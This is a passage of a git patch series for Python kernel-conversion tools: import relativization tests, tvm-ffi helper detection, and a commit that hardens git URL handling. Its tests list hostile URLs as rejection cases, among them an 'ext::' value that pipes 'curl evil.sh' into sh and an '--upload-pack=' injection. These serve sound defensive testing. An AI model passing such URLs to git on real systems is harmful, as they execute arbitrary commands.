helper():\n pass\n", + }, + ) + assert run(pkg) == 0 + assert (pkg / "__init__.py").read_text() == "from .utils import helper\n" + + +def test_from_import_in_nested_module(tmp_path): + pkg = build( + tmp_path / "mykernel", + { + "__init__.py": "", + "utils.py": "", + "a/__init__.py": "", + "a/b/__init__.py": "", + "a/b/mod.py": "from mykernel.utils import helper\n", + }, + ) + assert run(pkg) == 0 + assert (pkg / "a/b/mod.py").read_text() == "from ...utils import helper\n" + + +def test_sibling_import_uses_single_dot(tmp_path): + pkg = build( + tmp_path / "mykernel", + { + "__init__.py": "", + "a/__init__.py": "", + "a/one.py": "", + "a/two.py": "from mykernel.a.one import thing\n", + }, + ) + assert run(pkg) == 0 + assert (pkg / "a/two.py").read_text() == "from .one import thing\n" + + +def test_package_root_import(tmp_path): + pkg = build( + tmp_path / "mykernel", + { + "__init__.py": "", + "a/__init__.py": "", + "a/mod.py": "from mykernel import thing\n", + }, + ) + assert run(pkg) == 0 + assert (pkg / "a/mod.py").read_text() == "from .. import thing\n" + + +def test_dotted_import_renames_references(tmp_path): + pkg = build( + tmp_path / "mykernel", + { + "__init__.py": "", + "utils/__init__.py": "", + "utils/helpers.py": "", + "mod.py": ( + "import mykernel.utils.helpers\n\ndef f():\n return mykernel.utils.helpers.run(1)\n" + ), + }, + ) + assert run(pkg) == 0 + assert (pkg / "mod.py").read_text() == ( + "from .utils import helpers\n\ndef f():\n return helpers.run(1)\n" + ) + + +def test_dotted_import_reports_import_and_reference_changes(tmp_path): + # Rewriting the statement and renaming each reference it stranded are + # separate edits, so each gets its own entry. + pkg = build( + tmp_path / "mykernel", + { + "__init__.py": "", + "utils/__init__.py": "", + "utils/helpers.py": "", + "mod.py": ( + "import mykernel.utils.helpers\n\nmykernel.utils.helpers.run(1)\n" + ), + }, + ) + report = relativize_imports.process( + pkg, + relativize_imports.ModuleResolver(pkg, package_name="mykernel", module_map={}), + write=False, + exclude=[], + ) + assert [c.kind for c in report.changes] == ["import", "reference"] + assert report.changes[1].before == "mykernel.utils.helpers" + assert report.changes[1].after == "helpers" + + +def test_dotted_import_with_alias_keeps_binding(tmp_path): + pkg = build( + tmp_path / "mykernel", + { + "__init__.py": "", + "utils/__init__.py": "", + "utils/helpers.py": "", + "mod.py": "import mykernel.utils.helpers as h\n\nh.run()\n", + }, + ) + assert run(pkg) == 0 + assert ( + pkg / "mod.py" + ).read_text() == "from .utils import helpers as h\n\nh.run()\n" + + +def test_external_and_relative_imports_are_untouched(tmp_path): + original = "import torch\nfrom typing import Optional\nfrom .sibling import thing\nfrom ..other import stuff\n" + pkg = build( + tmp_path / "mykernel", + {"__init__.py": "", "sibling.py": "", "mod.py": original}, + ) + assert run(pkg) == 0 + assert (pkg / "mod.py").read_text() == original + + +def test_comments_and_formatting_survive(tmp_path): + pkg = build( + tmp_path / "mykernel", + { + "__init__.py": "", + "utils.py": "", + "mod.py": ( + "from mykernel.utils import ( # keep me\n alpha,\n beta, # and me\n)\n" + ), + }, + ) + assert run(pkg) == 0 + assert (pkg / "mod.py").read_text() == ( + "from .utils import ( # keep me\n alpha,\n beta, # and me\n)\n" + ) + + +def test_vendored_top_level_package_is_auto_detected(tmp_path): + pkg = build( + tmp_path / "mykernel", + { + "__init__.py": "", + "quack/__init__.py": "", + "quack/utils.py": "", + "a/__init__.py": "", + "a/mod.py": "from quack.utils import thing\n", + }, + ) + assert run(pkg) == 0 + assert (pkg / "a/mod.py").read_text() == "from ..quack.utils import thing\n" + + +def test_module_map_handles_renamed_upstream_package(tmp_path): + pkg = build( + tmp_path / "liger_kernels", + { + "__init__.py": "", + "rms_norm.py": "from liger_kernel.ops.utils import calculate\n", + "utils.py": "", + }, + ) + assert run(pkg, "--module-map", "liger_kernel.ops=") == 0 + assert (pkg / "rms_norm.py").read_text() == "from .utils import calculate\n" + + +def test_no_auto_disables_detection(tmp_path): + pkg = build( + tmp_path / "mykernel", + {"__init__.py": "", "utils.py": "", "mod.py": "from mykernel.utils import x\n"}, + ) + assert run(pkg, "--no-auto") == 0 + assert (pkg / "mod.py").read_text() == "from mykernel.utils import x\n" + + +def test_multi_name_import_is_split(tmp_path): + pkg = build( + tmp_path / "mykernel", + { + "__init__.py": "", + "utils.py": "", + "mod.py": "def f():\n import torch, mykernel.utils as u\n return u, torch\n", + }, + ) + assert run(pkg) == 0 + assert (pkg / "mod.py").read_text() == ( + "def f():\n import torch\n from . import utils as u\n return u, torch\n" + ) + + +def test_bare_package_import_is_reported_not_rewritten(tmp_path): + pkg = build( + tmp_path / "mykernel", + {"__init__.py": "", "mod.py": "import mykernel\n\nmykernel.thing()\n"}, + ) + assert run(pkg) == 1 + assert (pkg / "mod.py").read_text() == "import mykernel\n\nmykernel.thing()\n" + + +def test_dangling_reference_is_reported(tmp_path): + pkg = build( + tmp_path / "mykernel", + { + "__init__.py": "", + "utils/__init__.py": "", + "utils/helpers.py": "", + "mod.py": ("import mykernel.utils.helpers\n\nmykernel.other.thing()\n"), + }, + ) + report = relativize_imports.process( + pkg, + relativize_imports.ModuleResolver(pkg, package_name="mykernel", module_map={}), + write=False, + exclude=[], + ) + assert [issue.kind for issue in report.issues] == ["dangling-reference"] + + +def test_unresolved_target_is_reported(tmp_path): + pkg = build( + tmp_path / "mykernel", + {"__init__.py": "", "mod.py": "from mykernel.missing import thing\n"}, + ) + report = relativize_imports.process( + pkg, + relativize_imports.ModuleResolver(pkg, package_name="mykernel", module_map={}), + write=False, + exclude=[], + ) + assert [issue.kind for issue in report.issues] == ["unresolved-target"] + + +def test_check_mode_does_not_write(tmp_path): + pkg = build( + tmp_path / "mykernel", + {"__init__.py": "", "utils.py": "", "mod.py": "from mykernel.utils import x\n"}, + ) + assert run(pkg, write=False) == 1 + assert (pkg / "mod.py").read_text() == "from mykernel.utils import x\n" + + +def test_clean_package_exits_zero(tmp_path): + pkg = build( + tmp_path / "mykernel", + {"__init__.py": "", "utils.py": "", "mod.py": "from .utils import x\n"}, + ) + assert run(pkg, write=False) == 0 + + +@pytest.mark.parametrize( + "from_parts,target,expected", + [ + ((), (), "."), + ((), ("utils",), ".utils"), + (("a", "b"), (), "..."), + (("a", "b"), ("a", "b", "c"), ".c"), + (("a", "b"), ("a", "d"), "..d"), + (("a",), ("quack", "utils"), "..quack.utils"), + ], +) +def test_relative_import_shapes(from_parts, target, expected): + from _ast_utils import relative_import + + assert relative_import(from_parts, target) == expected diff --git a/tools/tests/test_report.py b/tools/tests/test_report.py new file mode 100644 index 00000000..13245fe9 --- /dev/null +++ b/tools/tests/test_report.py @@ -0,0 +1,92 @@ +"""Tests for the JSON/exit-code contract that agents consume. + +The shape of the report is a public interface: an agent decides whether a +conversion is finished from `ok` and the exit code, and reads `changes` to +see what happened. These tests pin that contract down. +""" + +import json +import sys +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).resolve().parents[1])) + +from _report import EXIT_CLEAN, EXIT_PENDING, Change, Issue, Report, emit # noqa: E402 + + +def change(file="a.py", line=1, kind="op-name"): + return Change(file=file, line=line, kind=kind, before="x", after="y") + + +def issue(file="a.py", kind="non-literal-op-name"): + return Issue(file=file, line=1, kind=kind, message="m") + + +def test_summary_counts_match_the_arrays(): + report = Report( + tool="t", + mode="check", + files_scanned=3, + changes=[change(), change(line=2)], + issues=[issue()], + ) + payload = report.to_json(include_diffs=False) + assert payload["summary"]["changes"] == len(payload["changes"]) == 2 + assert payload["summary"]["issues"] == len(payload["issues"]) == 1 + assert payload["summary"]["files_scanned"] == 3 + + +def test_changed_files_are_deduplicated_in_order(): + report = Report( + tool="t", + mode="check", + changes=[change(file="b.py"), change(file="a.py"), change(file="b.py", line=9)], + ) + assert report.changed_files == ["b.py", "a.py"] + assert report.to_json(include_diffs=False)["summary"]["files_changed"] == 2 + + +def test_ok_is_false_while_changes_are_pending(): + report = Report(tool="t", mode="check", changes=[change()]) + assert report.ok is False + + +def test_ok_is_true_once_changes_are_applied(): + report = Report(tool="t", mode="write", changes=[change()]) + assert report.ok is True + + +def test_issues_keep_ok_false_even_after_write(): + # The point of the changes/issues split: `--write` cannot clear an issue, + # so exit 0 after --write really does mean "nothing left to do". + report = Report(tool="t", mode="write", changes=[change()], issues=[issue()]) + assert report.ok is False + + +def test_ok_is_true_for_a_clean_tree(): + assert Report(tool="t", mode="check").ok is True + + +def test_exit_codes_follow_ok(capsys): + assert ( + emit(Report(tool="t", mode="check"), as_json=True, show_diff=False) + == EXIT_CLEAN + ) + capsys.readouterr() + pending = Report(tool="t", mode="check", changes=[change()]) + assert emit(pending, as_json=True, show_diff=False) == EXIT_PENDING + + +def test_json_mode_writes_only_json_to_stdout(capsys): + report = Report(tool="t", mode="check", files_scanned=1, changes=[change()]) + emit(report, as_json=True, show_diff=False) + captured = capsys.readouterr() + # Must parse as a single object: agents pipe this straight into a parser. + assert json.loads(captured.out)["summary"]["changes"] == 1 + assert captured.err == "" + + +def test_diffs_are_omitted_unless_requested(): + report = Report(tool="t", mode="check", diffs={"a.py": "--- a\n+++ b\n"}) + assert "diffs" not in report.to_json(include_diffs=False) + assert report.to_json(include_diffs=True)["diffs"] == {"a.py": "--- a\n+++ b\n"} From 479ec1a2b3fa4d2bdf0f7d2ea54f33a8f7b49f1c Mon Sep 17 00:00:00 2001 From: Sayak Paul Date: Tue, 28 Jul 2026 06:57:56 +0000 Subject: [PATCH 2/3] clarify aot and jit --- tools/README.md | 14 +++++ tools/fix_op_definitions.py | 75 +++++++++++++++++++++----- tools/tests/test_fix_op_definitions.py | 73 +++++++++++++++++++++++++ 3 files changed, 148 insertions(+), 14 deletions(-) diff --git a/tools/README.md b/tools/README.md index a1e5c9bc..3b29ac90 100644 --- a/tools/README.md +++ b/tools/README.md @@ -197,6 +197,20 @@ methods on the object returned by `custom_op` (`lib.define(...)`) take a function or a bare schema rather than a qualified op name, and are left alone. +### JIT and AOT kernels + +`torch` (AOT) and `torch-noarch` (JIT) both generate +`add_op_namespace_prefix`, so the tool behaves identically on either. +`tvm-ffi` names the helper `torch_add_op_namespace_prefix` instead and has +no unprefixed alias, so the framework is read from `build.toml`; +`--helper-name` overrides the detection. + +What differs is *where the ops are*. AOT kernels register most ops in +`torch_binding.cpp`, where `TORCH_LIBRARY_EXPAND(TORCH_EXTENSION_NAME, ops)` +already supplies the unique namespace — this tool reads Python only and +leaves C++ alone. JIT kernels register in Python, so that is where nearly +all of the work is. + Not auto-fixed, reported for review: * `non-literal-op-name` — the op name is a variable or expression, so the diff --git a/tools/fix_op_definitions.py b/tools/fix_op_definitions.py index 93fed173..393b2053 100644 --- a/tools/fix_op_definitions.py +++ b/tools/fix_op_definitions.py @@ -33,6 +33,7 @@ import argparse import ast +import re import sys from pathlib import Path from typing import Dict, List, Optional, Sequence, Set @@ -50,9 +51,19 @@ TOOL = "fix-op-definitions" -HELPER = "add_op_namespace_prefix" OPS_MODULE = "_ops" +# The prefix helper that the generated `_ops` module exposes. The `torch` +# (AOT) and `torch-noarch` (JIT) frameworks both name it +# `add_op_namespace_prefix`; `tvm-ffi` names it +# `torch_add_op_namespace_prefix` and has no unprefixed alias, so the name +# is picked per kernel by `detect_helper`. +HELPER = "add_op_namespace_prefix" +TVM_FFI_HELPER = "torch_add_op_namespace_prefix" +KNOWN_HELPERS = frozenset({HELPER, TVM_FFI_HELPER}) + +_TVM_FFI_SECTION = re.compile(r"^\s*\[tvm-ffi\]", re.MULTILINE) + # `torch.library` functions whose first positional argument is an op name. # # Matching on the bare function name is not enough: most of these also exist @@ -89,10 +100,13 @@ def _func_name(node: ast.Call) -> Optional[str]: class FileFixer: """Collects the op-registration edits for a single file.""" - def __init__(self, source: SourceFile, ops_ref: str, label: str): + def __init__( + self, source: SourceFile, ops_ref: str, label: str, helper: str = HELPER + ): self.source = source self.ops_ref = ops_ref self.label = label + self.helper = helper self.edits: List[Edit] = [] self.changes: List[Change] = [] self.issues: List[Issue] = [] @@ -136,14 +150,14 @@ def _scan_imports(self) -> None: if alias.name == "library": self.torch_library_modules.add(alias.asname or alias.name) for alias in node.names: - if (alias.asname or alias.name) == HELPER: + if (alias.asname or alias.name) in KNOWN_HELPERS: self.helper_bound = True elif isinstance(node, ast.Import): for alias in node.names: if alias.name == "torch.library" and alias.asname: self.torch_library_modules.add(alias.asname) elif isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)): - if node.name == HELPER: + if node.name in KNOWN_HELPERS: self.helper_bound = True def _check_antipatterns(self) -> None: @@ -152,7 +166,8 @@ def _check_antipatterns(self) -> None: imports_helper = any( isinstance(child, ast.ImportFrom) and any( - (alias.asname or alias.name) == HELPER for alias in child.names + (alias.asname or alias.name) in KNOWN_HELPERS + for alias in child.names ) for child in ast.walk(node) ) @@ -160,16 +175,16 @@ def _check_antipatterns(self) -> None: self._issue( node, "fallback-import", - f"`{HELPER}` is imported with a fallback; a fallback masks a broken " + f"`{self.helper}` is imported with a fallback; a fallback masks a broken " "import path and yields non-unique op names. Import it directly from " f"`{OPS_MODULE}`.", ) elif isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)): - if node.name == HELPER: + if node.name in KNOWN_HELPERS: self._issue( node, "rewrapped-helper", - f"`{HELPER}` is redefined here; it must be used directly from " + f"`{self.helper}` is redefined here; it must be used directly from " f"`{OPS_MODULE}` so that ops can be analyzed statically.", ) elif isinstance(node, ast.Call): @@ -184,7 +199,7 @@ def _check_antipatterns(self) -> None: node, "hardcoded-library-namespace", "`torch.library.Library(...)` fixes the op namespace at construction; " - f"pass `{HELPER}(...)`-derived names or register ops with " + f"pass `{self.helper}(...)`-derived names or register ops with " "`torch.library.custom_op` instead.", ) @@ -207,7 +222,7 @@ def _visit_call(self, node: ast.Call) -> None: return arg = node.args[0] - if isinstance(arg, ast.Call) and _func_name(arg) == HELPER: + if isinstance(arg, ast.Call) and _func_name(arg) in KNOWN_HELPERS: return # Already prefixed. if not (isinstance(arg, ast.Constant) and isinstance(arg.value, str)): @@ -215,7 +230,7 @@ def _visit_call(self, node: ast.Call) -> None: node, "non-literal-op-name", f"`{_func_name(node)}` is called with a non-literal op name, so the namespace " - f"prefix cannot be added automatically. Wrap it in `{HELPER}(...)` by hand.", + f"prefix cannot be added automatically. Wrap it in `{self.helper}(...)` by hand.", ) return @@ -224,7 +239,7 @@ def _visit_call(self, node: ast.Call) -> None: # supplies the unique one that the build generates. _, _, bare = op_name.rpartition("::") quote = "'" if '"' in bare else '"' - replacement = f"{HELPER}({quote}{bare}{quote})" + replacement = f"{self.helper}({quote}{bare}{quote})" start, end = self.source.span(arg) self.edits.append(Edit(start, end, replacement)) @@ -240,7 +255,7 @@ def _visit_call(self, node: ast.Call) -> None: def _insert_helper_import(self) -> None: """Add `from _ops import add_op_namespace_prefix` after the imports.""" - statement = f"from {self.ops_ref} import {HELPER}" + statement = f"from {self.ops_ref} import {self.helper}" body = self.source.tree.body anchor = None for node in body: @@ -273,6 +288,27 @@ def _insert_helper_import(self) -> None: self.helper_bound = True +def detect_helper(package_root: Path) -> str: + """Pick the prefix helper name the kernel's `_ops` module will expose. + + `_ops.py` is generated at build time and is usually absent from a source + checkout, so the framework is read from `build.toml` instead: `tvm-ffi` + kernels get `torch_add_op_namespace_prefix`, everything else gets + `add_op_namespace_prefix`. + """ + current = package_root.resolve() + for directory in (current, *current.parents): + build_toml = directory / "build.toml" + if not build_toml.is_file(): + continue + try: + text = build_toml.read_text(encoding="utf-8") + except OSError: + return HELPER + return TVM_FFI_HELPER if _TVM_FFI_SECTION.search(text) else HELPER + return HELPER + + def find_package_root(path: Path) -> Path: """Return the outermost directory of the package `path` belongs to.""" directory = path if path.is_dir() else path.parent @@ -292,6 +328,7 @@ def process( package_root: Optional[Path], write: bool, exclude: Sequence[str], + helper: Optional[str] = None, ) -> Report: report = Report(tool=TOOL, mode="write" if write else "check") for path in iter_python_files(paths, exclude=exclude): @@ -321,7 +358,7 @@ def process( dir_parts = () ops_ref = relative_import(dir_parts, (OPS_MODULE,)) - fixer = FileFixer(source, ops_ref, label) + fixer = FileFixer(source, ops_ref, label, helper or detect_helper(root)) fixer.run() report.issues.extend(fixer.issues) if not fixer.edits: @@ -353,6 +390,15 @@ def main(argv: Optional[Sequence[str]] = None) -> int: "Package root that holds the generated _ops.py (default: detected from the enclosing __init__.py files)." ), ) + parser.add_argument( + "--helper-name", + metavar="NAME", + help=( + "Prefix helper exposed by the generated _ops module " + f"(default: detected from build.toml -- `{HELPER}`, or " + f"`{TVM_FFI_HELPER}` for tvm-ffi kernels)." + ), + ) parser.add_argument( "--exclude", action="append", @@ -375,6 +421,7 @@ def main(argv: Optional[Sequence[str]] = None) -> int: package_root=args.package_root, write=args.write, exclude=args.exclude, + helper=args.helper_name, ) except (OSError, ValueError) as err: return fail(str(err), as_json=args.json, tool=TOOL) diff --git a/tools/tests/test_fix_op_definitions.py b/tools/tests/test_fix_op_definitions.py index c4f35b98..d4b3d9fa 100644 --- a/tools/tests/test_fix_op_definitions.py +++ b/tools/tests/test_fix_op_definitions.py @@ -213,6 +213,79 @@ def test_aliased_torch_library_import_is_matched(tmp_path): assert 'add_op_namespace_prefix("b")' in (pkg / "ops.py").read_text() +def _kernel_with_op(root: Path, build_toml: str) -> Path: + """A kernel-builder project laid out as torch-ext/.""" + (root).mkdir(parents=True, exist_ok=True) + (root / "build.toml").write_text(build_toml) + return build( + root / "torch-ext" / "mykernel", + { + "__init__.py": "", + "ops.py": ( + "import torch\n" + "\n" + '@torch.library.custom_op("a::b", mutates_args=())\n' + "def b(x):\n" + " return x\n" + ), + }, + ) + + +def test_aot_and_jit_kernels_use_the_same_helper(tmp_path): + # `torch` (AOT) and `torch-noarch` (JIT) both generate + # `add_op_namespace_prefix`, so the tool behaves identically. + for name, section in [("aot", "[torch]\n"), ("jit", "[torch-noarch]\n")]: + pkg = _kernel_with_op( + tmp_path / name, f'[general]\nname = "mykernel"\n{section}' + ) + assert run(pkg) == 0 + text = (pkg / "ops.py").read_text() + assert "from ._ops import add_op_namespace_prefix" in text + assert 'add_op_namespace_prefix("b")' in text + + +def test_tvm_ffi_kernel_uses_its_own_helper(tmp_path): + # tvm-ffi's generated _ops exposes `torch_add_op_namespace_prefix` and + # has no `add_op_namespace_prefix`, so importing the latter would break. + pkg = _kernel_with_op( + tmp_path / "k", '[general]\nname = "mykernel"\n[tvm-ffi]\nsrc = []\n' + ) + assert run(pkg) == 0 + text = (pkg / "ops.py").read_text() + assert "from ._ops import torch_add_op_namespace_prefix" in text + assert 'torch_add_op_namespace_prefix("b")' in text + assert "import add_op_namespace_prefix" not in text + + +def test_tvm_ffi_helper_is_recognized_as_already_prefixed(tmp_path): + pkg = build( + tmp_path / "mykernel", + { + "__init__.py": "", + "ops.py": ( + "import torch\n" + "from ._ops import torch_add_op_namespace_prefix\n" + "\n" + "@torch.library.custom_op(torch_add_op_namespace_prefix('b'), mutates_args=())\n" + "def b(x):\n" + " return x\n" + ), + }, + ) + report = check(pkg) + assert report.changes == [] + assert report.issues == [] + + +def test_helper_name_can_be_overridden(tmp_path): + pkg = _kernel_with_op( + tmp_path / "k", '[general]\nname = "mykernel"\n[torch]\nsrc = []\n' + ) + assert run(pkg, "--helper-name", "torch_add_op_namespace_prefix") == 0 + assert "torch_add_op_namespace_prefix" in (pkg / "ops.py").read_text() + + def test_non_literal_op_name_is_reported(tmp_path): pkg = build( tmp_path / "mykernel", From 1c3ffcbdae46329530fa26cae16f0ad424c38fa2 Mon Sep 17 00:00:00 2001 From: Sayak Paul Date: Tue, 28 Jul 2026 07:48:38 +0000 Subject: [PATCH 3/3] address security concerns --- tools/README.md | 10 ++++ tools/fetch_upstream.py | 30 ++--------- tools/latest_tag.py | 72 ++++++++++++++++++++++--- tools/tests/test_git_hardening.py | 88 +++++++++++++++++++++++++++++++ 4 files changed, 168 insertions(+), 32 deletions(-) create mode 100644 tools/tests/test_git_hardening.py diff --git a/tools/README.md b/tools/README.md index 3b29ac90..6027b447 100644 --- a/tools/README.md +++ b/tools/README.md @@ -92,6 +92,16 @@ python tools/latest_tag.py https://github.com/Dao-AILab/flash-attention.git \ With `--json` the output also carries the tag's commit SHA and the next `--limit` candidates. +### Accepted URLs + +A URL handed to an agent may come from an untrusted place, and git has +features that turn a hostile URL into command execution — `ext::` +runs its argument, and local/`file://` remotes honour +`--upload-pack=`. Both fetchers therefore accept only `https://`, +`ssh://`, `git://`, and `user@host:path`, reject anything starting with +`-`, and pin `GIT_ALLOW_PROTOCOL` for the git subprocess. Local paths and +`file://` are refused; point them at a real remote. + ## `fetch_upstream.py` — clone a repository at a tag ```bash diff --git a/tools/fetch_upstream.py b/tools/fetch_upstream.py index 74c90f06..6a03b195 100644 --- a/tools/fetch_upstream.py +++ b/tools/fetch_upstream.py @@ -19,9 +19,7 @@ import argparse import json -import os import shutil -import subprocess import sys from pathlib import Path from typing import Optional, Sequence @@ -34,28 +32,11 @@ latest_tag, list_remote_tags, parse_version, + run_git, + validate_url, ) -def _run_git(args: Sequence[str], *, timeout: int) -> subprocess.CompletedProcess: - env = dict(os.environ) - env.setdefault("GIT_TERMINAL_PROMPT", "0") - try: - return subprocess.run( - ["git", *args], - capture_output=True, - text=True, - timeout=timeout, - env=env, - ) - except FileNotFoundError as err: - raise RuntimeError("`git` was not found on PATH") from err - except subprocess.TimeoutExpired as err: - raise RuntimeError( - f"`git {' '.join(args)}` timed out after {timeout}s" - ) from err - - def _prepare_dest(dest: Path, force: bool) -> None: if not dest.exists(): return @@ -106,6 +87,7 @@ def bail(message: str, code: int) -> int: prerelease = None try: + validate_url(args.url) if args.tag == "latest": resolved, candidates = latest_tag( args.url, @@ -134,7 +116,7 @@ def bail(message: str, code: int) -> int: if not args.json: print(f"Cloning {args.url} at {tag} into {args.dest}", file=sys.stderr) - clone = _run_git( + clone = run_git( [ "clone", "--depth", @@ -150,9 +132,7 @@ def bail(message: str, code: int) -> int: if clone.returncode != 0: return bail(f"clone failed: {clone.stderr.strip()}", EXIT_ERROR) - rev = _run_git( - ["-C", str(args.dest), "rev-parse", "HEAD"], timeout=args.timeout - ) + rev = run_git(["-C", str(args.dest), "rev-parse", "HEAD"], timeout=args.timeout) sha = rev.stdout.strip() if rev.returncode == 0 else None if args.strip_git: diff --git a/tools/latest_tag.py b/tools/latest_tag.py index ef10c5cc..b1f00bae 100644 --- a/tools/latest_tag.py +++ b/tools/latest_tag.py @@ -34,6 +34,26 @@ EXIT_NO_MATCH = 1 EXIT_ERROR = 2 +# Transports we are willing to hand to git. +# +# A URL reaching these tools is not necessarily trustworthy: an agent syncing +# a kernel may take it from an upstream README, issue, or config file. Two +# git features turn a hostile URL into command execution: +# +# * `ext::` runs the command as a transport helper; +# * local paths and `file://` accept `--upload-pack=`, which git +# then runs locally. +# +# Both are refused by `validate_url`, and `GIT_ALLOW_PROTOCOL` enforces the +# same list inside git itself, so a URL that slips past the check (or a +# permissive local `protocol.*.allow` config) still cannot select them. +GIT_PROTOCOL_ALLOWLIST = "https:ssh:git" + +_ALLOWED_SCHEMES = ("https://", "ssh://", "git://") + +# `user@host:path`, the scp-like form of an ssh URL. +_SCP_LIKE_URL = re.compile(r"^[A-Za-z0-9._-]+@[A-Za-z0-9._-]+:") + # A version anywhere inside a tag name, with an optional PEP 440-ish # pre-release and post-release suffix. _VERSION_RE = re.compile( @@ -123,28 +143,66 @@ def parse_version(tag: str) -> Optional[Version]: return best -def list_remote_tags(url: str, *, timeout: int = 60) -> List[Tuple[str, str]]: - """Return `(tag, sha)` pairs for `url` without cloning it. +def validate_url(url: str) -> None: + """Reject Git URLs that could make git run a command. Raises: - RuntimeError: if `git ls-remote` is unavailable or fails. + RuntimeError: if `url` names a transport outside + `GIT_PROTOCOL_ALLOWLIST`, or could be parsed as an option. """ + if url.startswith("-"): + # Otherwise git parses it as an option, e.g. `--upload-pack=`. + raise RuntimeError(f"refusing Git URL that starts with '-': {url!r}") + if url.startswith(_ALLOWED_SCHEMES) or _SCP_LIKE_URL.match(url): + return + raise RuntimeError( + f"refusing unsupported Git URL {url!r}; expected one of " + "https://, ssh://, git://, or user@host:path" + ) + + +def git_env() -> dict: + """Environment for git subprocesses.""" env = dict(os.environ) # Never block on a credential prompt: an unreachable or private repo # should fail fast rather than hang an agent's tool call. env.setdefault("GIT_TERMINAL_PROMPT", "0") + # Set, not defaulted: this must win over any ambient value. + env["GIT_ALLOW_PROTOCOL"] = GIT_PROTOCOL_ALLOWLIST + return env + + +def run_git(args: Sequence[str], *, timeout: int) -> subprocess.CompletedProcess: + """Run a git command with the hardened environment. + + Raises: + RuntimeError: if git is missing or the command times out. + """ try: - completed = subprocess.run( - ["git", "ls-remote", "--tags", "--refs", url], + return subprocess.run( + ["git", *args], capture_output=True, text=True, timeout=timeout, - env=env, + env=git_env(), ) except FileNotFoundError as err: raise RuntimeError("`git` was not found on PATH") from err except subprocess.TimeoutExpired as err: - raise RuntimeError(f"`git ls-remote {url}` timed out after {timeout}s") from err + raise RuntimeError( + f"`git {' '.join(args)}` timed out after {timeout}s" + ) from err + + +def list_remote_tags(url: str, *, timeout: int = 60) -> List[Tuple[str, str]]: + """Return `(tag, sha)` pairs for `url` without cloning it. + + Raises: + RuntimeError: if `url` is rejected, or `git ls-remote` fails. + """ + validate_url(url) + # `--` keeps git from parsing the URL as an option. + completed = run_git(["ls-remote", "--tags", "--refs", "--", url], timeout=timeout) if completed.returncode != 0: raise RuntimeError(f"`git ls-remote {url}` failed: {completed.stderr.strip()}") diff --git a/tools/tests/test_git_hardening.py b/tools/tests/test_git_hardening.py new file mode 100644 index 00000000..dae274aa --- /dev/null +++ b/tools/tests/test_git_hardening.py @@ -0,0 +1,88 @@ +"""Tests for the Git URL restrictions in the fetcher tools. + +A URL reaching these tools may come from an untrusted place (an upstream +README or issue an agent was asked to sync from), and git has features that +turn a hostile URL into command execution. These tests pin the guards down. +""" + +import sys +from pathlib import Path + +import pytest + +sys.path.insert(0, str(Path(__file__).resolve().parents[1])) + +import latest_tag # noqa: E402 + + +@pytest.mark.parametrize( + "url", + [ + "https://github.com/org/repo.git", + "https://github.com/org/repo", + "git://github.com/org/repo.git", + "ssh://git@github.com/org/repo.git", + "git@github.com:org/repo.git", + ], +) +def test_ordinary_urls_are_accepted(url): + latest_tag.validate_url(url) + + +@pytest.mark.parametrize( + "url", + [ + # `ext::` runs its argument as a transport helper. + 'ext::sh -c "curl evil.sh | sh"', + "ext::whoami", + # Local transports accept `--upload-pack=`, run locally. + "file:///tmp/repo", + "/tmp/local/repo", + "./repo", + # Parsed by git as an option rather than a repository. + "--upload-pack=touch /tmp/pwned", + "-u", + # Other helper transports. + "ftp://example.com/repo.git", + "http://example.com/repo.git", + ], +) +def test_dangerous_urls_are_refused(url): + with pytest.raises(RuntimeError): + latest_tag.validate_url(url) + + +def test_refusal_happens_before_git_runs(monkeypatch): + called = [] + monkeypatch.setattr(latest_tag, "run_git", lambda *a, **k: called.append(a)) + with pytest.raises(RuntimeError): + latest_tag.list_remote_tags('ext::sh -c "touch pwned"') + assert called == [] + + +def test_git_env_pins_the_protocol_allowlist(monkeypatch): + # Must override an ambient value, not defer to it. + monkeypatch.setenv("GIT_ALLOW_PROTOCOL", "ext:file") + env = latest_tag.git_env() + assert env["GIT_ALLOW_PROTOCOL"] == latest_tag.GIT_PROTOCOL_ALLOWLIST + assert "ext" not in env["GIT_ALLOW_PROTOCOL"] + assert env["GIT_TERMINAL_PROMPT"] == "0" + + +def test_url_is_passed_after_a_double_dash(monkeypatch): + recorded = {} + + class Completed: + returncode = 0 + stdout = "" + stderr = "" + + def fake_run_git(args, *, timeout): + recorded["args"] = list(args) + return Completed() + + monkeypatch.setattr(latest_tag, "run_git", fake_run_git) + latest_tag.list_remote_tags("https://github.com/org/repo.git") + args = recorded["args"] + assert "--" in args + assert args.index("--") == len(args) - 2